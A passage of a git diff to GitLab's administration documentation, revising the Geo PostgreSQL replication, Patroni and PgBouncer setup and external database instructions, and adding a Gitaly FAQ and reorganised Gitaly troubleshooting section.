+ roles(['geo_primary_role'])
##
## Primary address
@@ -226,7 +245,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
```
You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your
- database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html)
+ database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/12/runtime-config-replication.html)
for more information.
1. Save the file and reconfigure GitLab for the database listen changes and
@@ -262,7 +281,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
`5432` to the **primary** server's private address.
1. A certificate was automatically generated when GitLab was reconfigured. This
- will be used automatically to protect your PostgreSQL traffic from
+ is used automatically to protect your PostgreSQL traffic from
eavesdroppers, but to protect against active ("man-in-the-middle") attackers,
the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL
`server.crt` file on the **primary** node by running this command:
@@ -272,10 +291,10 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
```
Copy the output into a clipboard or into a local file. You
- will need it when setting up the **secondary** node! The certificate is not sensitive
+ need it when setting up the **secondary** node! The certificate is not sensitive
data.
-### Step 2. Configure the **secondary** server
+#### Step 2. Configure the **secondary** server
1. SSH into your GitLab **secondary** server and login as root:
@@ -325,7 +344,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
-T server.crt ~gitlab-psql/.postgresql/root.crt
```
- PostgreSQL will now only recognize that exact certificate when verifying TLS
+ PostgreSQL now only recognizes that exact certificate when verifying TLS
connections. The certificate can only be replicated by someone with access
to the private key, which is **only** present on the **primary** node.
@@ -363,7 +382,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
## Geo Secondary role
## - configure dependent flags automatically to enable Geo
##
- roles ['geo_secondary_role']
+ roles(['geo_secondary_role'])
##
## Secondary address
@@ -376,12 +395,13 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
## Database credentials password (defined previously in primary node)
## - replicate same values here as defined in primary node
##
+ postgresql['sql_replication_password'] = '<md5_hash_of_your_password>'
postgresql['sql_user_password'] = '<md5_hash_of_your_password>'
gitlab_rails['db_password'] = '<your_password_here>'
```
For external PostgreSQL instances, see [additional instructions](external_database.md).
- If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`.
+ If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles(['geo_primary_role'])` or `geo_primary_role['enable'] = true`.
1. Reconfigure GitLab for the changes to take effect:
@@ -395,7 +415,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
gitlab-ctl restart postgresql
```
-### Step 3. Initiate the replication process
+#### Step 3. Initiate the replication process
Below we provide a script that connects the database on the **secondary** node to
the database on the **primary** node, replicates the database, and creates the
@@ -423,7 +443,7 @@ data before running `pg_basebackup`.
WARNING:
Each Geo **secondary** node must have its own unique replication slot name.
- Using the same slot name between two secondaries will break PostgreSQL replication.
+ Using the same slot name between two secondaries breaks PostgreSQL replication.
```shell
gitlab-ctl replicate-geo-database \
@@ -441,57 +461,57 @@ data before running `pg_basebackup`.
to list them all, but here are a couple of tips:
- If PostgreSQL is listening on a non-standard port, add `--port=` as well.
- - If your database is too large to be transferred in 30 minutes, you will need
+ - If your database is too large to be transferred in 30 minutes, you need
to increase the timeout, e.g., `--backup-timeout=3600` if you expect the
initial replication to take under an hour.
- Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether
(e.g., you know the network path is secure, or you are using a site-to-site
VPN). This is **not** safe over the public Internet!
- You can read more details about each `sslmode` in the
- [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION);
+ [PostgreSQL documentation](https://www.postgresql.org/docs/12/libpq-ssl.html#LIBPQ-SSL-PROTECTION);
the instructions above are carefully written to ensure protection against
both passive eavesdroppers and active "man-in-the-middle" attackers.
- Change the `--slot-name` to the name of the replication slot
- to be used on the **primary** database. The script will attempt to create the
+ to be used on the **primary** database. The script attempts to create the
replication slot automatically if it does not exist.
- - If you're repurposing an old server into a Geo **secondary** node, you'll need to
+ - If you're repurposing an old server into a Geo **secondary** node, you need to
add `--force` to the command line.
- When not in a production machine you can disable backup step if you
really sure this is what you want by adding `--skip-backup`
The replication process is now complete.
-## PgBouncer support (optional)
+### PgBouncer support (optional)
[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool
-PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a
-high-availability configuration with a cluster of nodes supporting a Geo
-**primary** site and two other clusters of nodes supporting a Geo **secondary** site.
-One for the main database and the other for the tracking database. For more information,
+PostgreSQL connections, which can improve performance even when using in a
+single instance installation.
+
+We recommend using PgBouncer if you use GitLab in a highly available
+configuration with a cluster of nodes supporting a Geo **primary** site and
+two other clusters of nodes supporting a Geo **secondary** site. One for the
+main database and the other for the tracking database. For more information,
see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md).
-## Patroni support
+## Multi-node database replication
-Support for Patroni is intended to replace `repmgr` as a
-[highly available PostgreSQL solution](../../postgresql/replication_and_failover.md)
-on the primary node, but it can also be used for PostgreSQL HA on a secondary
-site. Similar to `repmgr`, using Patroni on a secondary node is optional.
+In GitLab 14.0, Patroni replaced `repmgr` as the supported
+[highly available PostgreSQL solution](../../postgresql/replication_and_failover.md).
-Starting with GitLab 13.5, Patroni is available for _experimental_ use with Geo
-primary and secondary sites. Due to its experimental nature, Patroni support is
-subject to change without notice.
+NOTE:
+If you still haven't [migrated from repmgr to Patroni](#migrating-from-repmgr-to-patroni) you're highly advised to do so.
-This experimental implementation has the following limitations:
+### Patroni support
-- Whenever `gitlab-ctl reconfigure` runs on a Patroni Leader instance, there's a
- chance the node will be demoted due to the required short-time restart. To
- avoid this, you can pause auto-failover by running `gitlab-ctl patroni pause`.
- After a reconfigure, it resumes on its own.
+Patroni is the official replication management solution for Geo. It
+can be used to build a highly available cluster on the **primary** and a **secondary** Geo site.
+Using Patroni on a **secondary** site is optional and you don't have to use the same amount of
+nodes on each Geo site.
For instructions about how to set up Patroni on the primary site, see the
[PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page.
-### Configuring Patroni cluster for a Geo secondary site
+#### Configuring Patroni cluster for a Geo secondary site
In a Geo secondary site, the main PostgreSQL database is a read-only replica of the primary site’s PostgreSQL database.
@@ -503,7 +523,7 @@ configuration for the secondary site. The internal load balancer provides a sing
endpoint for connecting to the Patroni cluster's leader whenever a new leader is
elected. Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni) and other database best practices.
-#### Step 1. Configure Patroni permanent replication slot on the primary site
+##### Step 1. Configure Patroni permanent replication slot on the primary site
To set up database replication with Patroni on a secondary node, we need to
configure a _permanent replication slot_ on the primary node's Patroni cluster,
@@ -521,16 +541,16 @@ Leader instance**:
1. Edit `/etc/gitlab/gitlab.rb` and add the following:
```ruby
- consul['enable'] = true
+ roles(['patroni_role'])
+
+ consul['services'] = %w(postgresql)
consul['configuration'] = {
retry_join: %w[CONSUL_PRIMARY1_IP CONSUL_PRIMARY2_IP CONSUL_PRIMARY3_IP]
}
-
- repmgr['enable'] = false
-
+
# You need one entry for each secondary, with a unique name following PostgreSQL slot_name constraints:
#
- # Configuration syntax will be: 'unique_slotname' => { 'type' => 'physical' },
+ # Configuration syntax is: 'unique_slotname' => { 'type' => 'physical' },
# We don't support setting a permanent replication slot for logical replication type
patroni['replication_slots'] = {
'geo_secondary' => { 'type' => 'physical' }
@@ -539,15 +559,18 @@ Leader instance**:
patroni['use_pg_rewind'] = true
patroni['postgresql']['max_wal_senders'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary).
patroni['postgresql']['max_replication_slots'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary).
+ patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD'
- postgresql['md5_auth_cidr_addresses'] = [
- 'PATRONI_PRIMARY1_IP/32', 'PATRONI_PRIMARY2_IP/32', 'PATRONI_PRIMARY3_IP/32', 'PATRONI_PRIMARY_PGBOUNCER/32',
- 'PATRONI_SECONDARY1_IP/32', 'PATRONI_SECONDARY2_IP/32', 'PATRONI_SECONDARY3_IP/32', 'PATRONI_SECONDARY_PGBOUNCER/32' # We list all secondary instances as they can all become a Standby Leader
+ # We list all secondary instances as they can all become a Standby Leader
+ postgresql['md5_auth_cidr_addresses'] = %w[
+ PATRONI_PRIMARY1_IP/32 PATRONI_PRIMARY2_IP/32 PATRONI_PRIMARY3_IP/32 PATRONI_PRIMARY_PGBOUNCER/32
+ PATRONI_SECONDARY1_IP/32 PATRONI_SECONDARY2_IP/32 PATRONI_SECONDARY3_IP/32 PATRONI_SECONDARY_PGBOUNCER/32
]
postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH'
postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH'
postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
+ postgresql['listen_address'] = '0.0.0.0' # You can use a public or VPC address here instead
```
1. Reconfigure GitLab for the changes to take effect:
@@ -556,17 +579,17 @@ Leader instance**:
gitlab-ctl reconfigure
```
-#### Step 2. Configure the internal load balancer on the primary site
+##### Step 2. Configure the internal load balancer on the primary site
To avoid reconfiguring the Standby Leader on the secondary site whenever a new
-Leader is elected on the primary site, we'll need to set up a TCP internal load
-balancer which will give a single endpoint for connecting to the Patroni
+Leader is elected on the primary site, we need to set up a TCP internal load
+balancer which gives a single endpoint for connecting to the Patroni
cluster's Leader.
The Omnibus GitLab packages do not include a Load Balancer. Here's how you
could do it with [HAProxy](https://www.haproxy.org/).
-The following IPs and names will be used as an example:
+The following IPs and names are used as an example:
- `10.6.0.21`: Patroni 1 (`patroni1.internal`)
- `10.6.0.21`: Patroni 2 (`patroni2.internal`)
@@ -600,7 +623,7 @@ backend postgresql
Refer to your preferred Load Balancer's documentation for further guidance.
-#### Step 3. Configure a PgBouncer node on the secondary site
+##### Step 3. Configure a PgBouncer node on the secondary site
A production-ready and highly available configuration requires at least
three Consul nodes, a minimum of one PgBouncer node, but it’s recommended to have
@@ -621,22 +644,26 @@ Follow the minimal configuration for the PgBouncer node:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# PgBouncer configuration
+ pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
pgbouncer['users'] = {
+ 'gitlab-consul': {
+ # Generate it with: `gitlab-ctl pg-password-md5 gitlab-consul`
+ password: 'GITLAB_CONSUL_PASSWORD_HASH'
+ },
'pgbouncer': {
+ # Generate it with: `gitlab-ctl pg-password-md5 pgbouncer`
password: 'PGBOUNCER_PASSWORD_HASH'
}
}
# Consul configuration
consul['watchers'] = %w(postgresql)
-
consul['configuration'] = {
retry_join: %w[CONSUL_SECONDARY1_IP CONSUL_SECONDARY2_IP CONSUL_SECONDARY3_IP]
}
-
consul['monitoring_service_discovery'] = true
```
@@ -652,17 +679,17 @@ Follow the minimal configuration for the PgBouncer node:
gitlab-ctl write-pgpass --host 127.0.0.1 --database pgbouncer --user pgbouncer --hostuser gitlab-consul
```
-1. Restart the PgBouncer service:
+1. Reload the PgBouncer service:
```shell
- gitlab-ctl restart pgbouncer
+ gitlab-ctl hup pgbouncer
```
-#### Step 4. Configure a Standby cluster on the secondary site
+##### Step 4. Configure a Standby cluster on the secondary site
NOTE:
If you are converting a secondary site to a Patroni Cluster, you must start
-on the PostgreSQL instance. It will become the Patroni Standby Leader instance,
+on the PostgreSQL instance. It becomes the Patroni Standby Leader instance,
and then you can switchover to another replica if you need.
For each Patroni instance on the secondary site:
@@ -676,21 +703,18 @@ For each Patroni instance on the secondary site:
1. Edit `/etc/gitlab/gitlab.rb` and add the following:
```ruby
- roles ['consul_role', 'postgres_role']
+ roles(['consul_role', 'patroni_role'])
consul['enable'] = true
consul['configuration'] = {
retry_join: %w[CONSUL_SECONDARY1_IP CONSUL_SECONDARY2_IP CONSUL_SECONDARY3_IP]
}
- repmgr['enable'] = false
-
postgresql['md5_auth_cidr_addresses'] = [
'PATRONI_SECONDARY1_IP/32', 'PATRONI_SECONDARY2_IP/32', 'PATRONI_SECONDARY3_IP/32', 'PATRONI_SECONDARY_PGBOUNCER/32',
# Any other instance that needs access to the database as per documentation
]
- patroni['enable'] = false
patroni['standby_cluster']['enable'] = true
patroni['standby_cluster']['host'] = 'INTERNAL_LOAD_BALANCER_PRIMARY_IP'
patroni['standby_cluster']['port'] = INTERNAL_LOAD_BALANCER_PRIMARY_PORT
@@ -699,6 +723,15 @@ For each Patroni instance on the secondary site:
patroni['use_pg_rewind'] = true
patroni['postgresql']['max_wal_senders'] = 5 # A minimum of three for one replica, plus two for each additional replica
patroni['postgresql']['max_replication_slots'] = 5 # A minimum of three for one replica, plus two for each additional replica
+
+ postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH'
+ postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH'
+ postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
+ postgresql['listen_address'] = '0.0.0.0' # You can use a public or VPC address here instead
+
+ gitlab_rails['dbpassword'] = 'POSTGRESQL_PASSWORD'
+ gitlab_rails['enable'] = true
+ gitlab_rails['auto_migrate'] = false
```
1. Reconfigure GitLab for the changes to take effect.
@@ -708,33 +741,11 @@ For each Patroni instance on the secondary site:
gitlab-ctl reconfigure
```
-1. Remove the PostgreSQL data directory:
-
- WARNING:
- If you are converting a secondary site to a Patroni Cluster, you must skip
- this step on the PostgreSQL instance.
-
- ```shell
- rm -rf /var/opt/gitlab/postgresql/data
- ```
-
-1. Edit `/etc/gitlab/gitlab.rb` to enable Patroni:
-
- ```ruby
- patroni['enable'] = true
- ```
-
-1. Reconfigure GitLab for the changes to take effect:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
### Migrating from repmgr to Patroni
1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node.
1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replication_slots'] = { '<slot_name>' => 'physical' }`
-to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting.
+to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This ensures that Patroni recognizes the replication slot as permanent and not drop it upon restarting.
1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary.
### Migrating a single PostgreSQL node to Patroni
@@ -750,14 +761,14 @@ With Patroni it's now possible to support that. In order to migrate the existing
1. [Configure a Standby Cluster](#step-4-configure-a-standby-cluster-on-the-secondary-site)
on that single node machine.
-You will end up with a "Standby Cluster" with a single node. That allows you to later on add additional Patroni nodes
+You end up with a "Standby Cluster" with a single node. That allows you to later on add additional Patroni nodes
by following the same instructions above.
### Configuring Patroni cluster for the tracking PostgreSQL database
Secondary sites use a separate PostgreSQL installation as a tracking database to
keep track of replication status and automatically recover from potential replication issues.
-Omnibus automatically configures a tracking database when `roles ['geo_secondary_role']` is set.
+Omnibus automatically configures a tracking database when `roles(['geo_secondary_role'])` is set.
If you want to run this database in a highly available configuration, follow the instructions below.
A production-ready and secure setup requires at least three Consul nodes, three
@@ -782,7 +793,7 @@ Follow the minimal configuration for the PgBouncer node for the tracking databas
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# PgBouncer configuration
pgbouncer['users'] = {
@@ -844,7 +855,7 @@ For each Patroni instance on the secondary site for the tracking database:
```ruby
# Disable all components except PostgreSQL, Patroni, and Consul
- roles ['patroni_role']
+ roles(['patroni_role'])
# Consul configuration
consul['services'] = %w(postgresql)
@@ -875,6 +886,7 @@ For each Patroni instance on the secondary site for the tracking database:
# GitLab database settings
gitlab_rails['db_database'] = 'gitlabhq_geo_production'
gitlab_rails['db_username'] = 'gitlab_geo'
+ gitlab_rails['enable'] = true
# Disable automatic database migrations
gitlab_rails['auto_migrate'] = false
@@ -934,8 +946,8 @@ Patroni implementation on Omnibus that do not allow us to manage two different
clusters on the same machine, we recommend setting up a new Patroni cluster for
the tracking database by following the same instructions above.
-The secondary nodes will backfill the new tracking database, and no data
-synchronization will be required.
+The secondary nodes backfill the new tracking database, and no data
+synchronization is required.
## Troubleshooting
diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md
index 1b0082687e6..9e187424afa 100644
--- a/doc/administration/geo/setup/external_database.md
+++ b/doc/administration/geo/setup/external_database.md
@@ -24,11 +24,19 @@ developed and tested. We aim to be compatible with most external
sudo -i
```
-1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value):
+1. Edit `/etc/gitlab/gitlab.rb` and add:
```ruby
- # The unique identifier for the Geo node.
- gitlab_rails['geo_node_name'] = '<node_name_here>'
+ ##
+ ## Geo Primary role
+ ## - configure dependent flags automatically to enable Geo
+ ##
+ roles ['geo_primary_role']
+
+ ##
+ ## The unique identifier for the Geo site.
+ ##
+ gitlab_rails['geo_node_name'] = '<geo_site_name_here>'
```
1. Reconfigure the **primary** node for the change to take effect:
@@ -49,7 +57,7 @@ developed and tested. We aim to be compatible with most external
To set up an external database, you can either:
-- Set up [streaming replication](https://www.postgresql.org/docs/11/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, etc.).
+- Set up [streaming replication](https://www.postgresql.org/docs/12/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, etc.).
- Perform the Omnibus configuration manually as follows.
#### Leverage your cloud provider's tools to replicate the primary database
@@ -64,8 +72,9 @@ cloud providers:
- Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create)
- Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal)
+- Google Cloud SQL - [Creating read replicas](https://cloud.google.com/sql/docs/postgres/replication/create-replica)
-Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica).
+Once your read-only replica is set up, you can skip to [configure your secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica).
#### Manually configure the primary database for replication
@@ -182,9 +191,12 @@ to grant additional roles to your tracking database user (by default, this is
- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role.
- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role.
+- Google Cloud SQL requires the [`cloudsqlsuperuser`](https://cloud.google.com/sql/docs/postgres/users#default-users) role.
-If you have an external database ready to be used as the tracking database,
-follow the instructions below to use it:
+This is for the installation of extensions during installation and upgrades. As an alternative,
+[ensure the extensions are installed manually, and read about the problems that may arise during future GitLab upgrades](../../../install/postgresql_extensions.md).
+
+To setup an external tracking database, follow the instructions below:
NOTE:
If you want to use AWS RDS as a tracking database, make sure it has access to
@@ -193,8 +205,12 @@ outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to
rule to the read-replica's security group allowing any TCP traffic from
the tracking database on port 5432.
-1. Ensure that your secondary node can communicate with your tracking database by
- manually changing the `pg_hba.conf` that is associated with your tracking database.
+1. Set up PostgreSQL according to the
+ [database requirements document](../../../install/requirements.md#database).
+1. Set up a `gitlab_geo` user with a password of your choice, create the `gitlabhq_geo_production` database, and make the user an owner of the database. You can see an example of this setup in the [installation from source documentation](../../../install/installation.md#6-database).
+1. If you are **not** using a cloud-managed PostgreSQL database, ensure that your secondary
+ node can communicate with your tracking database by manually changing the
+ `pg_hba.conf` that is associated with your tracking database.
Remember to restart PostgreSQL afterwards for the changes to take effect:
```plaintext
@@ -226,9 +242,14 @@ the tracking database on port 5432.
1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
-1. Run the tracking database migrations:
+1. The reconfigure should automatically create the database. If needed, you can perform this task manually. Note that this task (whether run by itself or during reconfigure) requires the database user to be a superuser.
```shell
gitlab-rake geo:db:create
+ ```
+
+1. The reconfigure should automatically migrate the database. You can migrate the database manually if needed, for example if `gitlab_rails['auto_migrate'] = false`:
+
+ ```shell
gitlab-rake geo:db:migrate
```
diff --git a/doc/administration/git_annex.md b/doc/administration/git_annex.md
index 741b2a78b85..d7fb8a37b9c 100644
--- a/doc/administration/git_annex.md
+++ b/doc/administration/git_annex.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-07-22'
---
This document was moved to [another location](index.md).
diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md
index c9b6fd4c510..0b22df5a115 100644
--- a/doc/administration/gitaly/configure_gitaly.md
+++ b/doc/administration/gitaly/configure_gitaly.md
@@ -82,7 +82,7 @@ The following list depicts the network architecture of Gitaly:
- Gitaly addresses must be specified in such a way that they resolve correctly for **all** Gitaly
clients.
- Gitaly clients are:
- - Puma or Unicorn.
+ - Puma.
- Sidekiq.
- GitLab Workhorse.
- GitLab Shell.
@@ -247,7 +247,6 @@ disable enforcement. For more information, see the documentation on configuring
# node_exporter['enable'] = false
# Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
diff --git a/doc/administration/gitaly/faq.md b/doc/administration/gitaly/faq.md
new file mode 100644
index 00000000000..98a90925d32
--- /dev/null
+++ b/doc/administration/gitaly/faq.md
@@ -0,0 +1,90 @@
+---
+stage: Create
+group: Gitaly
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Frequently asked questions **(FREE SELF)**
+
+The following are answers to frequently asked questions about Gitaly and Gitaly Cluster.
+
+## How does Gitaly Cluster compare to Geo?
+
+Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of:
+
+- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are
+ not aware when Gitaly Cluster is used.
+- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for
+ an entire instance of GitLab. Users know when they are using Geo for
+ [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification),
+ including Git data.
+
+The following table outlines the major differences between Gitaly Cluster and Geo:
+
+| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for |
+|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------------------|:-----------------------------------------|:------------------------|
+| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-primary-election-strategies) | [Strong](praefect.md#strong-consistency) | Data storage in Git |
+| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance |
+
+For more information, see:
+
+- Geo [use cases](../geo/index.md#use-cases).
+- Geo [architecture](../geo/index.md#architecture).
+
+## Are there instructions for migrating to Gitaly Cluster?
+
+Yes! For more information, see [Migrate to Gitaly Cluster](praefect.md#migrate-to-gitaly-cluster).
+
+## What are some repository storage recommendations?
+
+The size of the required storage can vary between instances and depends on the set
+[replication factor](praefect.md#replication-factor). You might want to include implementing
+repository storage redundancy.
+
+For a replication factor:
+
+- Of `1`: NFS, Gitaly, and Gitaly Cluster have roughly the same storage requirements.
+- More than `1`: The amount of required storage is `used space * replication factor`. `used space`
+ should include any planned future growth.
+
+## What are some Praefect database storage requirements?
+
+The requirements are relatively low because the database contains only metadata of:
+
+- Where repositories are located.
+- Some queued work.
+
+It depends on the number of repositories, but a useful minimum is 5-10 GB, similar to the main
+GitLab application database.
+
+## Can the GitLab application database and the Praefect database be on the same servers?
+
+Yes, however Praefect should have it's own database server when using Omnibus GitLab PostgreSQL. If
+there is a failover, Praefect isn't aware and starts to fail as the database it's trying to use would
+either:
+
+- Be unavailable.
+- In read-only mode.
+
+A future solution may allow for Praefect and Omnibus GitLab databases on the same PostgreSQL server.
+For more information, see the relevant:
+
+- [Omnibus GitLab issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919).
+- [Gitaly issue](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
+
+## Is PgBouncer required for the Praefect database?
+
+No, because the number of connections Praefect makes is low. You can use the same PgBouncer instance
+for both the GitLab application database and the Praefect database if you wish.
+
+## Are there any special considerations for Gitaly Cluster when PostgreSQL is upgraded?
+
+There are no special requirements. Gitaly Cluster requires PostgreSQL version 11 or later.
+
+## Praefect database tables are empty?
+
+These tables are created per the [specific configuration section](praefect.md#postgresql).
+
+If you find you have an empty Praefect database table, see the
+[relevant troubleshooting section](index.md#relation-does-not-exist-errors).
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index 3935e990590..eaf9e21780d 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -235,29 +235,6 @@ A hybrid approach can be used in these instances, where each shard is configured
cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned
to provide greater flexibility for extremely large GitLab instances.
-### Gitaly Cluster compared to Geo
-
-Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of:
-
-- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are
- not aware when Gitaly Cluster is used.
-- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for
- an entire instance of GitLab. Users know when they are using Geo for
- [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification),
- including Git data.
-
-The following table outlines the major differences between Gitaly Cluster and Geo:
-
-| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for |
-|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------------------|:-----------------------------------------|:------------------------|
-| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-primary-election-strategies) | [Strong](praefect.md#strong-consistency) | Data storage in Git |
-| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance |
-
-For more information, see:
-
-- Geo [use cases](../geo/index.md#use-cases).
-- Geo [architecture](../geo/index.md#architecture).
-
### Architecture
Praefect is a router and transaction manager for Gitaly, and a required
@@ -346,7 +323,6 @@ When GitLab calls a function that has a "Rugged patch", it performs two checks:
the GitLab use of "Rugged patch" code.
- If the feature flag is not set, GitLab tries accessing the file system underneath the
Gitaly server directly. If it can, it uses the "Rugged patch":
- - If using Unicorn.
- If using Puma and [thread count](../../install/requirements.md#puma-threads) is set
to `1`.
@@ -404,25 +380,36 @@ GitLab recommends:
We welcome your feedback on this process: raise a support ticket, or [comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916).
-## Troubleshooting Gitaly
+## Troubleshooting
+
+Refer to the information below when troubleshooting Gitaly and Gitaly Cluster.
+
+Before troubleshooting, see the Gitaly and Gitaly Cluster
+[frequently asked questions](faq.md).
+
+### Troubleshoot Gitaly
+
+The following sections provide possible solutions to Gitaly errors.
-Check [Gitaly timeouts](../../user/admin_area/settings/gitaly_timeouts.md) when troubleshooting
-Gitaly.
+See also [Gitaly timeout](../../user/admin_area/settings/gitaly_timeouts.md) settings.
-### Check versions when using standalone Gitaly servers
+#### Check versions when using standalone Gitaly servers
When using standalone Gitaly servers, you must make sure they are the same version
-as GitLab to ensure full compatibility. Check **Admin Area > Overview > Gitaly Servers** on
-your GitLab instance and confirm all Gitaly servers indicate that they are up to date.
+as GitLab to ensure full compatibility:
-### `gitaly-debug`
+1. On the top bar, select **Menu >** **{admin}** **Admin** on your GitLab instance.
+1. On the left sidebar, select **Overview > Gitaly Servers**.
+1. Confirm all Gitaly servers indicate that they are up to date.
+
+#### Use `gitaly-debug`
The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git
performance. It is intended to help production engineers and support
engineers investigate Gitaly performance problems.
If you're using GitLab 11.6 or newer, this tool should be installed on
-your GitLab / Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`.
+your GitLab or Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`.
If you're investigating an older GitLab version you can compile this
tool offline and copy the executable to your server:
@@ -438,19 +425,19 @@ To see the help page of `gitaly-debug` for a list of supported sub-commands, run
gitaly-debug -h
```
-### Commits, pushes, and clones return a 401
+#### Commits, pushes, and clones return a 401
```plaintext
remote: GitLab: 401 Unauthorized
```
-You need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab
-app nodes).
+You need to sync your `gitlab-secrets.json` file with your GitLab
+application nodes.
-### Client side gRPC logs
+#### Client side gRPC logs
Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC
-client has its own log file which may contain debugging information when
+client has its own log file which may contain useful information when
you are seeing Gitaly errors. You can control the log level of the
